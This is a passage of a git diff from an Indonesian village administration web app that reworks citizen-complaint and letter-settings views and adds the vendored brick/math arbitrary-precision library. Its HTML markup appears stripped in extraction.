        -load->view('global/confirm_delete'); ?> - diff --git a/donjo-app/views/pengaduan_admin/modal_detail.php b/donjo-app/views/pengaduan_admin/modal_detail.php deleted file mode 100644 index 78a8ec085..000000000 --- a/donjo-app/views/pengaduan_admin/modal_detail.php +++ /dev/null @@ -1,64 +0,0 @@ -CI->cek_hak_akses('u')) : ?> - load->view('global/validasi_form'); ?> - $value) : ?> - - - - - \ No newline at end of file diff --git a/donjo-app/views/pengaduan_admin/modal_form.php b/donjo-app/views/pengaduan_admin/modal_form.php deleted file mode 100644 index 4dc6fb8be..000000000 --- a/donjo-app/views/pengaduan_admin/modal_form.php +++ /dev/null @@ -1,24 +0,0 @@ -CI->cek_hak_akses('u')): ?> -load->view('global/validasi_form'); ?> - - - - - \ No newline at end of file diff --git a/donjo-app/views/pengaduan_admin/navigasi.php b/donjo-app/views/pengaduan_admin/navigasi.php deleted file mode 100644 index e3f7663d8..000000000 --- a/donjo-app/views/pengaduan_admin/navigasi.php +++ /dev/null @@ -1,105 +0,0 @@ - - -
        -
        -
        - -
        - Semua - - -
        -
        -
        - Total bulan ini: -
        -
        -
        -
        -
        - -
        - Menunggu Diproses - - -
        -
        -
        - Total bulan ini: -
        -
        -
        -
        -
        - -
        - Sedang Diproses - - -
        -
        -
        - Total bulan ini: -
        -
        -
        -
        -
        - -
        - Selesai Diproses - - -
        -
        -
        - Total bulan ini: -
        -
        -
        -
        \ No newline at end of file diff --git a/donjo-app/views/surat/surat_keluar.php b/donjo-app/views/surat/surat_keluar.php index 95b22daeb..8b19746f0 100644 --- a/donjo-app/views/surat/surat_keluar.php +++ b/donjo-app/views/surat/surat_keluar.php @@ -387,7 +387,7 @@ formData.append('id', id); formData.append('passphrase', passphrase); - return fetch('', { + return fetch('', { method: 'post', body: formData, }).then(response => { diff --git a/donjo-app/views/web/artikel/table.php b/donjo-app/views/web/artikel/table.php index fd1b80cae..5d3a17638 100644 --- a/donjo-app/views/web/artikel/table.php +++ b/donjo-app/views/web/artikel/table.php @@ -180,7 +180,7 @@ - + diff --git a/resources/views/admin/layouts/partials/control_sidebar.blade.php b/resources/views/admin/layouts/partials/control_sidebar.blade.php index 77e9717ae..355c8dd38 100644 --- a/resources/views/admin/layouts/partials/control_sidebar.blade.php +++ b/resources/views/admin/layouts/partials/control_sidebar.blade.php @@ -98,7 +98,7 @@ dapat melakukan olah informasi berupa artikel website.
        1. Peran olah informasi : tulis, edit artikel. Redaksi boleh - mengubah semua artikel, termasuk menjadikan headline, aktif/non-aktifkan, + mengubah semua artikel, termasuk menjadikan berita utama, aktif/non-aktifkan, masukkan ke slider, dsbnya
        @@ -107,7 +107,7 @@ untuk ditampilkan di website desa.
        1. Peran olah informasi : tulis, edit artikel yang dibuatnya - sendiri. Kontributor tidak dapat menjadikan artikel manapun menjadi headline, + sendiri. Kontributor tidak dapat menjadikan artikel manapun menjadi berita utama, aktif/non-aktifkan atau memasukkan ke slider.
        diff --git a/resources/views/admin/pengaduan_warga/detail.blade.php b/resources/views/admin/pengaduan_warga/detail.blade.php new file mode 100644 index 000000000..9c7a5052e --- /dev/null +++ b/resources/views/admin/pengaduan_warga/detail.blade.php @@ -0,0 +1,94 @@ +@extends('admin.layouts.index') + +@section('title') +

        + Pengaduan + {{ $action }} +

        +@endsection + +@section('breadcrumb') +
        +
      4. {{ $action }}
      5. +@endsection + +@section('content') + @include('admin.layouts.components.notifikasi') + +
        + +
        +
          + +
        • + + {{ tgl_indo($pengaduan_warga->created_at) }} + +
        • + + +
        • + + +
          + {{ $pengaduan_warga->created_at->format('H:i') }} + +

          {{ $pengaduan_warga->nama }} {{ $pengaduan_warga->judul }}

          + +
          + {{ $pengaduan_warga->isi }} +
          + +
          +
        • + + + @if ($pengaduan_warga->foto) +
        • + + +
          +
          + +
          +
          +
        • + @endif + + + @foreach ($tanggapan as $item) +
        • + + {{ tgl_indo($item->created_at) }} + +
        • + + +
        • + + +
          + {{ $item->created_at->format('H:i') }} + +

          {{ $item->nama }} Menanggapi

          + +
          + {{ $item->isi }} +
          +
          +
        • + @endforeach + +
        • + +
        • +
        +
        +
        +@endsection diff --git a/resources/views/admin/pengaduan_warga/form.blade.php b/resources/views/admin/pengaduan_warga/form.blade.php new file mode 100644 index 000000000..9b52943eb --- /dev/null +++ b/resources/views/admin/pengaduan_warga/form.blade.php @@ -0,0 +1,55 @@ +@extends('admin.layouts.index') + +@section('title') +

        + Pengaduan + {{ $action }} +

        +@endsection + +@section('breadcrumb') + +
      6. {{ $action }}
      7. +@endsection + +@section('content') + @include('admin.layouts.components.notifikasi') + +
        + + {!! form_open($form_action, 'class="form-horizontal" id="validasi"') !!} +
        +
        + +
        + +
        +
        +
        + +
        + +
        +
        +
        + + +
        +@endsection diff --git a/resources/views/admin/pengaduan_warga/index.blade.php b/resources/views/admin/pengaduan_warga/index.blade.php new file mode 100644 index 000000000..1d94c185d --- /dev/null +++ b/resources/views/admin/pengaduan_warga/index.blade.php @@ -0,0 +1,133 @@ +@include('admin.layouts.components.asset_datatables') +@extends('admin.layouts.index') + +@section('title') +

        + Pengaduan +

        +@endsection + +@section('breadcrumb') +
      8. Pengaduan
      9. +@endsection + +@section('content') + @include('admin.layouts.components.notifikasi') + + @include('admin.pengaduan_warga.widget') + +
        +
        +
        +
        + +
        + @if (can('h')) +
        + Hapus +
        + @endif +
        +
        +
        + {!! form_open(null, 'id="mainform" name="mainform"') !!} +
        + + + + + + + + + + + + +
        NOAKSINAMAJUDULTANGGALSTATUS
        +
        + +
        +
        + + @include('admin.layouts.components.konfirmasi_hapus') +@endsection + +@push('scripts') + +@endpush diff --git a/resources/views/admin/pengaduan_warga/widget.blade.php b/resources/views/admin/pengaduan_warga/widget.blade.php new file mode 100644 index 000000000..48b0b5893 --- /dev/null +++ b/resources/views/admin/pengaduan_warga/widget.blade.php @@ -0,0 +1,58 @@ +
        +
        +
        + +
        + Semua + {{ $allstatus }} + +
        +
        +
        + Total bulan ini: {{ $m_allstatus }} +
        +
        +
        +
        +
        + +
        + Menunggu Diproses + {{ $status1 }} + +
        +
        +
        + Total bulan ini: {{ $m_status1 }} +
        +
        +
        +
        +
        + +
        + Sedang Diproses + {{ $status2 }} + +
        +
        +
        + Total bulan ini: {{ $m_status2 }} +
        +
        +
        +
        +
        + +
        + Selesai Diproses + {{ $status3 }} + +
        +
        +
        + Total bulan ini: {{ $m_status3 }} +
        +
        +
        +
        diff --git a/resources/views/admin/pengaturan_surat/asset_tinymce.blade.php b/resources/views/admin/pengaturan_surat/asset_tinymce.blade.php index 77471b300..54804e4d2 100644 --- a/resources/views/admin/pengaturan_surat/asset_tinymce.blade.php +++ b/resources/views/admin/pengaturan_surat/asset_tinymce.blade.php @@ -113,6 +113,7 @@ classes: 'alignbottom' onAction: function() { // Insert a page break when the button is clicked ed.insertContent('
        '); + ed.execCommand('removeFormat') } }); ed.ui.registry.addButton('kotak', { @@ -144,19 +145,19 @@ classes: 'alignbottom' processor: 'string', default: '8pt 10pt 12pt 14pt 18pt 24pt 36pt' }); - - if (!pratinjau) { - ed.on('keydown', function() { - var contentAreaHeight = ed.getBody().offsetHeight; - var lengthPaper = 1644; - var sisaBatasKertas = contentAreaHeight % lengthPaper - console.log('sisaBatasKertas ' + sisaBatasKertas) - // Check if a new line has been added - if (sisaBatasKertas > 0 && sisaBatasKertas < 35) { - ed.insertContent('
        '); - } - }); - } + // pakai button saja + // if (!pratinjau) { + // ed.on('keydown', function() { + // var contentAreaHeight = ed.getBody().offsetHeight; + // var lengthPaper = 1644; + // var sisaBatasKertas = contentAreaHeight % lengthPaper + // console.log('sisaBatasKertas ' + sisaBatasKertas) + // // Check if a new line has been added + // if (sisaBatasKertas > 0 && sisaBatasKertas < 35) { + // ed.insertContent('
        '); + // } + // }); + // } }, content_style: ` body { diff --git a/resources/views/admin/pengaturan_surat/partials/modal_kodeisian.blade.php b/resources/views/admin/pengaturan_surat/partials/modal_kodeisian.blade.php new file mode 100644 index 000000000..0a406561c --- /dev/null +++ b/resources/views/admin/pengaturan_surat/partials/modal_kodeisian.blade.php @@ -0,0 +1,38 @@ + diff --git a/resources/views/admin/pengaturan_surat/partials/modal_sumber_penduduk.blade.php b/resources/views/admin/pengaturan_surat/partials/modal_sumber_penduduk.blade.php new file mode 100644 index 000000000..9f8dbb8d1 --- /dev/null +++ b/resources/views/admin/pengaturan_surat/partials/modal_sumber_penduduk.blade.php @@ -0,0 +1,69 @@ + diff --git a/resources/views/admin/pengaturan_surat/partials/pengaturan_kodeisian.blade.php b/resources/views/admin/pengaturan_surat/partials/pengaturan_kodeisian.blade.php index 310d77b39..77990c70f 100644 --- a/resources/views/admin/pengaturan_surat/partials/pengaturan_kodeisian.blade.php +++ b/resources/views/admin/pengaturan_surat/partials/pengaturan_kodeisian.blade.php @@ -1,30 +1,10 @@
        -
        -
        -
        -
        - - -
        -
        -
        -
        - - -
        -
        -
        -
        - - -
        -
        - -
        -
        + -
        @@ -32,27 +12,60 @@ - + - @foreach ($alias as $isian) - + @forelse($alias as $isian) + - + + + @empty + + - @endforeach + @endforelse
        Judul Alias IsiAksiAksi
        +
        + + +
        +
        Data tidak tersedia
        +@include('admin.pengaturan_surat.partials.modal_kodeisian') @push('scripts') @endpush diff --git a/resources/views/admin/pengaturan_surat/partials/pengaturan_sumber_penduduk.blade.php b/resources/views/admin/pengaturan_surat/partials/pengaturan_sumber_penduduk.blade.php index 9d9f738af..490a5761e 100644 --- a/resources/views/admin/pengaturan_surat/partials/pengaturan_sumber_penduduk.blade.php +++ b/resources/views/admin/pengaturan_surat/partials/pengaturan_sumber_penduduk.blade.php @@ -3,113 +3,94 @@

        {{ sebutanDesa($list_setting->where('key', 'form_penduduk_luar')->first()->keterangan) }}

        -
        - -
        -
        -
        - -
        - - -
        -
        -
        - -
        -
        - -
        -
        - -
        -
        - -
        -
        - -
        -
        - -
        -
        - -
        -
        - -
        -
        - -
        -
        - -
        -
        - + + Form Penduduk Luar + +

        +
        + @php $count = 0; @endphp + @foreach ($penduduk_luar as $index => $penduduk) + @if ($count % 3 === 0) +
        + @endif +
        +
        + @if ($index > 3) +
        + + + + + +
        + @endif +
        +

        + {{ strtoupper(SebutanDesa($penduduk['title'])) }} +

        -
        -
        - + @php $count++; @endphp + @if ($count % 3 === 0 || $loop->last)
        -
        -
        - @foreach ($penduduk_luar as $index => $penduduk) -
        -
        - - - -
        -

        - {{ strtoupper(SebutanDesa($penduduk['title'])) }} -

        -
        -
        -
          - @foreach (explode(',', $penduduk['input']) as $item) -
        • {{ $item }}
        • - @endforeach -
        - - -
        -
        -
        + @endif @endforeach
        +
        +@include('admin.pengaturan_surat.partials.modal_sumber_penduduk') @push('scripts') diff --git a/resources/views/admin/permohonan_surat/index.blade.php b/resources/views/admin/permohonan_surat/index.blade.php index a27642a7f..27c78bb47 100644 --- a/resources/views/admin/permohonan_surat/index.blade.php +++ b/resources/views/admin/permohonan_surat/index.blade.php @@ -59,7 +59,10 @@ processing: true, serverSide: true, ajax: { - url: "{{ route('permohonan_surat_admin.datatables') }}" + url: "{{ route('permohonan_surat_admin.datatables') }}", + data: function(req) { + req.status = $('#status').val(); + } }, columns: [{ data: 'DT_RowIndex', @@ -116,6 +119,10 @@ class: 'padat', ], pageLength: 25 }); + + $('#status').on('select2:select', function(e) { + TableData.draw(); + }); }); @endpush diff --git a/vendor/brick/math/composer.json b/vendor/brick/math/composer.json new file mode 100644 index 000000000..ec196632f --- /dev/null +++ b/vendor/brick/math/composer.json @@ -0,0 +1,35 @@ +{ + "name": "brick/math", + "description": "Arbitrary-precision arithmetic library", + "type": "library", + "keywords": [ + "Brick", + "Math", + "Arbitrary-precision", + "Arithmetic", + "BigInteger", + "BigDecimal", + "BigRational", + "Bignum" + ], + "license": "MIT", + "require": { + "php": "^7.1 || ^8.0", + "ext-json": "*" + }, + "require-dev": { + "phpunit/phpunit": "^7.5.15 || ^8.5 || ^9.0", + "php-coveralls/php-coveralls": "^2.2", + "vimeo/psalm": "4.9.2" + }, + "autoload": { + "psr-4": { + "Brick\\Math\\": "src/" + } + }, + "autoload-dev": { + "psr-4": { + "Brick\\Math\\Tests\\": "tests/" + } + } +} diff --git a/vendor/brick/math/src/BigDecimal.php b/vendor/brick/math/src/BigDecimal.php new file mode 100644 index 000000000..78246500c --- /dev/null +++ b/vendor/brick/math/src/BigDecimal.php @@ -0,0 +1,895 @@ +value = $value; + $this->scale = $scale; + } + + /** + * Creates a BigDecimal of the given value. + * + * @param BigNumber|int|float|string $value + * + * @return BigDecimal + * + * @throws MathException If the value cannot be converted to a BigDecimal. + * + * @psalm-pure + */ + public static function of($value) : BigNumber + { + return parent::of($value)->toBigDecimal(); + } + + /** + * Creates a BigDecimal from an unscaled value and a scale. + * + * Example: `(12345, 3)` will result in the BigDecimal `12.345`. + * + * @param BigNumber|int|float|string $value The unscaled value. Must be convertible to a BigInteger. + * @param int $scale The scale of the number, positive or zero. + * + * @return BigDecimal + * + * @throws \InvalidArgumentException If the scale is negative. + * + * @psalm-pure + */ + public static function ofUnscaledValue($value, int $scale = 0) : BigDecimal + { + if ($scale < 0) { + throw new \InvalidArgumentException('The scale cannot be negative.'); + } + + return new BigDecimal((string) BigInteger::of($value), $scale); + } + + /** + * Returns a BigDecimal representing zero, with a scale of zero. + * + * @return BigDecimal + * + * @psalm-pure + */ + public static function zero() : BigDecimal + { + /** + * @psalm-suppress ImpureStaticVariable + * @var BigDecimal|null $zero + */ + static $zero; + + if ($zero === null) { + $zero = new BigDecimal('0'); + } + + return $zero; + } + + /** + * Returns a BigDecimal representing one, with a scale of zero. + * + * @return BigDecimal + * + * @psalm-pure + */ + public static function one() : BigDecimal + { + /** + * @psalm-suppress ImpureStaticVariable + * @var BigDecimal|null $one + */ + static $one; + + if ($one === null) { + $one = new BigDecimal('1'); + } + + return $one; + } + + /** + * Returns a BigDecimal representing ten, with a scale of zero. + * + * @return BigDecimal + * + * @psalm-pure + */ + public static function ten() : BigDecimal + { + /** + * @psalm-suppress ImpureStaticVariable + * @var BigDecimal|null $ten + */ + static $ten; + + if ($ten === null) { + $ten = new BigDecimal('10'); + } + + return $ten; + } + + /** + * Returns the sum of this number and the given one. + * + * The result has a scale of `max($this->scale, $that->scale)`. + * + * @param BigNumber|int|float|string $that The number to add. Must be convertible to a BigDecimal. + * + * @return BigDecimal The result. + * + * @throws MathException If the number is not valid, or is not convertible to a BigDecimal. + */ + public function plus($that) : BigDecimal + { + $that = BigDecimal::of($that); + + if ($that->value === '0' && $that->scale <= $this->scale) { + return $this; + } + + if ($this->value === '0' && $this->scale <= $that->scale) { + return $that; + } + + [$a, $b] = $this->scaleValues($this, $that); + + $value = Calculator::get()->add($a, $b); + $scale = $this->scale > $that->scale ? $this->scale : $that->scale; + + return new BigDecimal($value, $scale); + } + + /** + * Returns the difference of this number and the given one. + * + * The result has a scale of `max($this->scale, $that->scale)`. + * + * @param BigNumber|int|float|string $that The number to subtract. Must be convertible to a BigDecimal. + * + * @return BigDecimal The result. + * + * @throws MathException If the number is not valid, or is not convertible to a BigDecimal. + */ + public function minus($that) : BigDecimal + { + $that = BigDecimal::of($that); + + if ($that->value === '0' && $that->scale <= $this->scale) { + return $this; + } + + [$a, $b] = $this->scaleValues($this, $that); + + $value = Calculator::get()->sub($a, $b); + $scale = $this->scale > $that->scale ? $this->scale : $that->scale; + + return new BigDecimal($value, $scale); + } + + /** + * Returns the product of this number and the given one. + * + * The result has a scale of `$this->scale + $that->scale`. + * + * @param BigNumber|int|float|string $that The multiplier. Must be convertible to a BigDecimal. + * + * @return BigDecimal The result. + * + * @throws MathException If the multiplier is not a valid number, or is not convertible to a BigDecimal. + */ + public function multipliedBy($that) : BigDecimal + { + $that = BigDecimal::of($that); + + if ($that->value === '1' && $that->scale === 0) { + return $this; + } + + if ($this->value === '1' && $this->scale === 0) { + return $that; + } + + $value = Calculator::get()->mul($this->value, $that->value); + $scale = $this->scale + $that->scale; + + return new BigDecimal($value, $scale); + } + + /** + * Returns the result of the division of this number by the given one, at the given scale. + * + * @param BigNumber|int|float|string $that The divisor. + * @param int|null $scale The desired scale, or null to use the scale of this number. + * @param int $roundingMode An optional rounding mode. + * + * @return BigDecimal + * + * @throws \InvalidArgumentException If the scale or rounding mode is invalid. + * @throws MathException If the number is invalid, is zero, or rounding was necessary. + */ + public function dividedBy($that, ?int $scale = null, int $roundingMode = RoundingMode::UNNECESSARY) : BigDecimal + { + $that = BigDecimal::of($that); + + if ($that->isZero()) { + throw DivisionByZeroException::divisionByZero(); + } + + if ($scale === null) { + $scale = $this->scale; + } elseif ($scale < 0) { + throw new \InvalidArgumentException('Scale cannot be negative.'); + } + + if ($that->value === '1' && $that->scale === 0 && $scale === $this->scale) { + return $this; + } + + $p = $this->valueWithMinScale($that->scale + $scale); + $q = $that->valueWithMinScale($this->scale - $scale); + + $result = Calculator::get()->divRound($p, $q, $roundingMode); + + return new BigDecimal($result, $scale); + } + + /** + * Returns the exact result of the division of this number by the given one. + * + * The scale of the result is automatically calculated to fit all the fraction digits. + * + * @param BigNumber|int|float|string $that The divisor. Must be convertible to a BigDecimal. + * + * @return BigDecimal The result. + * + * @throws MathException If the divisor is not a valid number, is not convertible to a BigDecimal, is zero, + * or the result yields an infinite number of digits. + */ + public function exactlyDividedBy($that) : BigDecimal + { + $that = BigDecimal::of($that); + + if ($that->value === '0') { + throw DivisionByZeroException::divisionByZero(); + } + + [, $b] = $this->scaleValues($this, $that); + + $d = \rtrim($b, '0'); + $scale = \strlen($b) - \strlen($d); + + $calculator = Calculator::get(); + + foreach ([5, 2] as $prime) { + for (;;) { + $lastDigit = (int) $d[-1]; + + if ($lastDigit % $prime !== 0) { + break; + } + + $d = $calculator->divQ($d, (string) $prime); + $scale++; + } + } + + return $this->dividedBy($that, $scale)->stripTrailingZeros(); + } + + /** + * Returns this number exponentiated to the given value. + * + * The result has a scale of `$this->scale * $exponent`. + * + * @param int $exponent The exponent. + * + * @return BigDecimal The result. + * + * @throws \InvalidArgumentException If the exponent is not in the range 0 to 1,000,000. + */ + public function power(int $exponent) : BigDecimal + { + if ($exponent === 0) { + return BigDecimal::one(); + } + + if ($exponent === 1) { + return $this; + } + + if ($exponent < 0 || $exponent > Calculator::MAX_POWER) { + throw new \InvalidArgumentException(\sprintf( + 'The exponent %d is not in the range 0 to %d.', + $exponent, + Calculator::MAX_POWER + )); + } + + return new BigDecimal(Calculator::get()->pow($this->value, $exponent), $this->scale * $exponent); + } + + /** + * Returns the quotient of the division of this number by this given one. + * + * The quotient has a scale of `0`. + * + * @param BigNumber|int|float|string $that The divisor. Must be convertible to a BigDecimal. + * + * @return BigDecimal The quotient. + * + * @throws MathException If the divisor is not a valid decimal number, or is zero. + */ + public function quotient($that) : BigDecimal + { + $that = BigDecimal::of($that); + + if ($that->isZero()) { + throw DivisionByZeroException::divisionByZero(); + } + + $p = $this->valueWithMinScale($that->scale); + $q = $that->valueWithMinScale($this->scale); + + $quotient = Calculator::get()->divQ($p, $q); + + return new BigDecimal($quotient, 0); + } + + /** + * Returns the remainder of the division of this number by this given one. + * + * The remainder has a scale of `max($this->scale, $that->scale)`. + * + * @param BigNumber|int|float|string $that The divisor. Must be convertible to a BigDecimal. + * + * @return BigDecimal The remainder. + * + * @throws MathException If the divisor is not a valid decimal number, or is zero. + */ + public function remainder($that) : BigDecimal + { + $that = BigDecimal::of($that); + + if ($that->isZero()) { + throw DivisionByZeroException::divisionByZero(); + } + + $p = $this->valueWithMinScale($that->scale); + $q = $that->valueWithMinScale($this->scale); + + $remainder = Calculator::get()->divR($p, $q); + + $scale = $this->scale > $that->scale ? $this->scale : $that->scale; + + return new BigDecimal($remainder, $scale); + } + + /** + * Returns the quotient and remainder of the division of this number by the given one. + * + * The quotient has a scale of `0`, and the remainder has a scale of `max($this->scale, $that->scale)`. + * + * @param BigNumber|int|float|string $that The divisor. Must be convertible to a BigDecimal. + * + * @return BigDecimal[] An array containing the quotient and the remainder. + * + * @throws MathException If the divisor is not a valid decimal number, or is zero. + */ + public function quotientAndRemainder($that) : array + { + $that = BigDecimal::of($that); + + if ($that->isZero()) { + throw DivisionByZeroException::divisionByZero(); + } + + $p = $this->valueWithMinScale($that->scale); + $q = $that->valueWithMinScale($this->scale); + + [$quotient, $remainder] = Calculator::get()->divQR($p, $q); + + $scale = $this->scale > $that->scale ? $this->scale : $that->scale; + + $quotient = new BigDecimal($quotient, 0); + $remainder = new BigDecimal($remainder, $scale); + + return [$quotient, $remainder]; + } + + /** + * Returns the square root of this number, rounded down to the given number of decimals. + * + * @param int $scale + * + * @return BigDecimal + * + * @throws \InvalidArgumentException If the scale is negative. + * @throws NegativeNumberException If this number is negative. + */ + public function sqrt(int $scale) : BigDecimal + { + if ($scale < 0) { + throw new \InvalidArgumentException('Scale cannot be negative.'); + } + + if ($this->value === '0') { + return new BigDecimal('0', $scale); + } + + if ($this->value[0] === '-') { + throw new NegativeNumberException('Cannot calculate the square root of a negative number.'); + } + + $value = $this->value; + $addDigits = 2 * $scale - $this->scale; + + if ($addDigits > 0) { + // add zeros + $value .= \str_repeat('0', $addDigits); + } elseif ($addDigits < 0) { + // trim digits + if (-$addDigits >= \strlen($this->value)) { + // requesting a scale too low, will always yield a zero result + return new BigDecimal('0', $scale); + } + + $value = \substr($value, 0, $addDigits); + } + + $value = Calculator::get()->sqrt($value); + + return new BigDecimal($value, $scale); + } + + /** + * Returns a copy of this BigDecimal with the decimal point moved $n places to the left. + * + * @param int $n + * + * @return BigDecimal + */ + public function withPointMovedLeft(int $n) : BigDecimal + { + if ($n === 0) { + return $this; + } + + if ($n < 0) { + return $this->withPointMovedRight(-$n); + } + + return new BigDecimal($this->value, $this->scale + $n); + } + + /** + * Returns a copy of this BigDecimal with the decimal point moved $n places to the right. + * + * @param int $n + * + * @return BigDecimal + */ + public function withPointMovedRight(int $n) : BigDecimal + { + if ($n === 0) { + return $this; + } + + if ($n < 0) { + return $this->withPointMovedLeft(-$n); + } + + $value = $this->value; + $scale = $this->scale - $n; + + if ($scale < 0) { + if ($value !== '0') { + $value .= \str_repeat('0', -$scale); + } + $scale = 0; + } + + return new BigDecimal($value, $scale); + } + + /** + * Returns a copy of this BigDecimal with any trailing zeros removed from the fractional part. + * + * @return BigDecimal + */ + public function stripTrailingZeros() : BigDecimal + { + if ($this->scale === 0) { + return $this; + } + + $trimmedValue = \rtrim($this->value, '0'); + + if ($trimmedValue === '') { + return BigDecimal::zero(); + } + + $trimmableZeros = \strlen($this->value) - \strlen($trimmedValue); + + if ($trimmableZeros === 0) { + return $this; + } + + if ($trimmableZeros > $this->scale) { + $trimmableZeros = $this->scale; + } + + $value = \substr($this->value, 0, -$trimmableZeros); + $scale = $this->scale - $trimmableZeros; + + return new BigDecimal($value, $scale); + } + + /** + * Returns the absolute value of this number. + * + * @return BigDecimal + */ + public function abs() : BigDecimal + { + return $this->isNegative() ? $this->negated() : $this; + } + + /** + * Returns the negated value of this number. + * + * @return BigDecimal + */ + public function negated() : BigDecimal + { + return new BigDecimal(Calculator::get()->neg($this->value), $this->scale); + } + + /** + * {@inheritdoc} + */ + public function compareTo($that) : int + { + $that = BigNumber::of($that); + + if ($that instanceof BigInteger) { + $that = $that->toBigDecimal(); + } + + if ($that instanceof BigDecimal) { + [$a, $b] = $this->scaleValues($this, $that); + + return Calculator::get()->cmp($a, $b); + } + + return - $that->compareTo($this); + } + + /** + * {@inheritdoc} + */ + public function getSign() : int + { + return ($this->value === '0') ? 0 : (($this->value[0] === '-') ? -1 : 1); + } + + /** + * @return BigInteger + */ + public function getUnscaledValue() : BigInteger + { + return BigInteger::create($this->value); + } + + /** + * @return int + */ + public function getScale() : int + { + return $this->scale; + } + + /** + * Returns a string representing the integral part of this decimal number. + * + * Example: `-123.456` => `-123`. + * + * @return string + */ + public function getIntegralPart() : string + { + if ($this->scale === 0) { + return $this->value; + } + + $value = $this->getUnscaledValueWithLeadingZeros(); + + return \substr($value, 0, -$this->scale); + } + + /** + * Returns a string representing the fractional part of this decimal number. + * + * If the scale is zero, an empty string is returned. + * + * Examples: `-123.456` => '456', `123` => ''. + * + * @return string + */ + public function getFractionalPart() : string + { + if ($this->scale === 0) { + return ''; + } + + $value = $this->getUnscaledValueWithLeadingZeros(); + + return \substr($value, -$this->scale); + } + + /** + * Returns whether this decimal number has a non-zero fractional part. + * + * @return bool + */ + public function hasNonZeroFractionalPart() : bool + { + return $this->getFractionalPart() !== \str_repeat('0', $this->scale); + } + + /** + * {@inheritdoc} + */ + public function toBigInteger() : BigInteger + { + $zeroScaleDecimal = $this->scale === 0 ? $this : $this->dividedBy(1, 0); + + return BigInteger::create($zeroScaleDecimal->value); + } + + /** + * {@inheritdoc} + */ + public function toBigDecimal() : BigDecimal + { + return $this; + } + + /** + * {@inheritdoc} + */ + public function toBigRational() : BigRational + { + $numerator = BigInteger::create($this->value); + $denominator = BigInteger::create('1' . \str_repeat('0', $this->scale)); + + return BigRational::create($numerator, $denominator, false); + } + + /** + * {@inheritdoc} + */ + public function toScale(int $scale, int $roundingMode = RoundingMode::UNNECESSARY) : BigDecimal + { + if ($scale === $this->scale) { + return $this; + } + + return $this->dividedBy(BigDecimal::one(), $scale, $roundingMode); + } + + /** + * {@inheritdoc} + */ + public function toInt() : int + { + return $this->toBigInteger()->toInt(); + } + + /** + * {@inheritdoc} + */ + public function toFloat() : float + { + return (float) (string) $this; + } + + /** + * {@inheritdoc} + */ + public function __toString() : string + { + if ($this->scale === 0) { + return $this->value; + } + + $value = $this->getUnscaledValueWithLeadingZeros(); + + return \substr($value, 0, -$this->scale) . '.' . \substr($value, -$this->scale); + } + + /** + * This method is required for serializing the object and SHOULD NOT be accessed directly. + * + * @internal + * + * @return array{value: string, scale: int} + */ + public function __serialize(): array + { + return ['value' => $this->value, 'scale' => $this->scale]; + } + + /** + * This method is only here to allow unserializing the object and cannot be accessed directly. + * + * @internal + * @psalm-suppress RedundantPropertyInitializationCheck + * + * @param array{value: string, scale: int} $data + * + * @return void + * + * @throws \LogicException + */ + public function __unserialize(array $data): void + { + if (isset($this->value)) { + throw new \LogicException('__unserialize() is an internal function, it must not be called directly.'); + } + + $this->value = $data['value']; + $this->scale = $data['scale']; + } + + /** + * This method is required by interface Serializable and SHOULD NOT be accessed directly. + * + * @internal + * + * @return string + */ + public function serialize() : string + { + return $this->value . ':' . $this->scale; + } + + /** + * This method is only here to implement interface Serializable and cannot be accessed directly. + * + * @internal + * @psalm-suppress RedundantPropertyInitializationCheck + * + * @param string $value + * + * @return void + * + * @throws \LogicException + */ + public function unserialize($value) : void + { + if (isset($this->value)) { + throw new \LogicException('unserialize() is an internal function, it must not be called directly.'); + } + + [$value, $scale] = \explode(':', $value); + + $this->value = $value; + $this->scale = (int) $scale; + } + + /** + * Puts the internal values of the given decimal numbers on the same scale. + * + * @param BigDecimal $x The first decimal number. + * @param BigDecimal $y The second decimal number. + * + * @return array{string, string} The scaled integer values of $x and $y. + */ + private function scaleValues(BigDecimal $x, BigDecimal $y) : array + { + $a = $x->value; + $b = $y->value; + + if ($b !== '0' && $x->scale > $y->scale) { + $b .= \str_repeat('0', $x->scale - $y->scale); + } elseif ($a !== '0' && $x->scale < $y->scale) { + $a .= \str_repeat('0', $y->scale - $x->scale); + } + + return [$a, $b]; + } + + /** + * @param int $scale + * + * @return string + */ + private function valueWithMinScale(int $scale) : string + { + $value = $this->value; + + if ($this->value !== '0' && $scale > $this->scale) { + $value .= \str_repeat('0', $scale - $this->scale); + } + + return $value; + } + + /** + * Adds leading zeros if necessary to the unscaled value to represent the full decimal number. + * + * @return string + */ + private function getUnscaledValueWithLeadingZeros() : string + { + $value = $this->value; + $targetLength = $this->scale + 1; + $negative = ($value[0] === '-'); + $length = \strlen($value); + + if ($negative) { + $length--; + } + + if ($length >= $targetLength) { + return $this->value; + } + + if ($negative) { + $value = \substr($value, 1); + } + + $value = \str_pad($value, $targetLength, '0', STR_PAD_LEFT); + + if ($negative) { + $value = '-' . $value; + } + + return $value; + } +} diff --git a/vendor/brick/math/src/BigInteger.php b/vendor/brick/math/src/BigInteger.php new file mode 100644 index 000000000..f213fbedb --- /dev/null +++ b/vendor/brick/math/src/BigInteger.php @@ -0,0 +1,1184 @@ +value = $value; + } + + /** + * Creates a BigInteger of the given value. + * + * @param BigNumber|int|float|string $value + * + * @return BigInteger + * + * @throws MathException If the value cannot be converted to a BigInteger. + * + * @psalm-pure + */ + public static function of($value) : BigNumber + { + return parent::of($value)->toBigInteger(); + } + + /** + * Creates a number from a string in a given base. + * + * The string can optionally be prefixed with the `+` or `-` sign. + * + * Bases greater than 36 are not supported by this method, as there is no clear consensus on which of the lowercase + * or uppercase characters should come first. Instead, this method accepts any base up to 36, and does not + * differentiate lowercase and uppercase characters, which are considered equal. + * + * For bases greater than 36, and/or custom alphabets, use the fromArbitraryBase() method. + * + * @param string $number The number to convert, in the given base. + * @param int $base The base of the number, between 2 and 36. + * + * @return BigInteger + * + * @throws NumberFormatException If the number is empty, or contains invalid chars for the given base. + * @throws \InvalidArgumentException If the base is out of range. + * + * @psalm-pure + */ + public static function fromBase(string $number, int $base) : BigInteger + { + if ($number === '') { + throw new NumberFormatException('The number cannot be empty.'); + } + + if ($base < 2 || $base > 36) { + throw new \InvalidArgumentException(\sprintf('Base %d is not in range 2 to 36.', $base)); + } + + if ($number[0] === '-') { + $sign = '-'; + $number = \substr($number, 1); + } elseif ($number[0] === '+') { + $sign = ''; + $number = \substr($number, 1); + } else { + $sign = ''; + } + + if ($number === '') { + throw new NumberFormatException('The number cannot be empty.'); + } + + $number = \ltrim($number, '0'); + + if ($number === '') { + // The result will be the same in any base, avoid further calculation. + return BigInteger::zero(); + } + + if ($number === '1') { + // The 